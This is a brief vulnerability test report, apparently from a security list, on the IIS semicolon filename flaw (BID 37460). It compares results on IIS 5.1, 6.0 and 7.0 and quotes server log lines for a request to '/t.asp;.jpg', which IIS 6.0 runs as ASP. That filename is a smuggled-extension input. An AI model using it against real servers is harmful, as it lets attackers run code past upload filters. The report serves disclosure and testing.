Tests about semicolon zero-day (BID 37460) Tests in Windows XP SP3 and IIS 5.1 The results are: 18:21:18 172.16.5.79 GET /t.asp;.jpg 200 The file founded, but not interpreted! IIS print the asp souce code at screen. Testing in 2003 Server IIS 6.0 SP 2 works perfect! the .jpg is interpreted as .asp 2009-12-28 18:56:37 W3SVC1 172.16.5.79 GET /t.asp;.jpg - 80 - 172.16.6.16 Mozilla/4.0+(compatible;+MSIE+ 8.0;+Windows+NT+5.2;+Trident/4.0;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.30;+.NET+CLR+3.0.04506.648;+.NET+CLR+3.0.4506.2152;+.NET+CLR+3.5.30729) 200 0 0 Testing in 2008 Server IIS 7.0 SP1 Return same Windows XP, source code printed at screen. ------------------- Crash DcLabs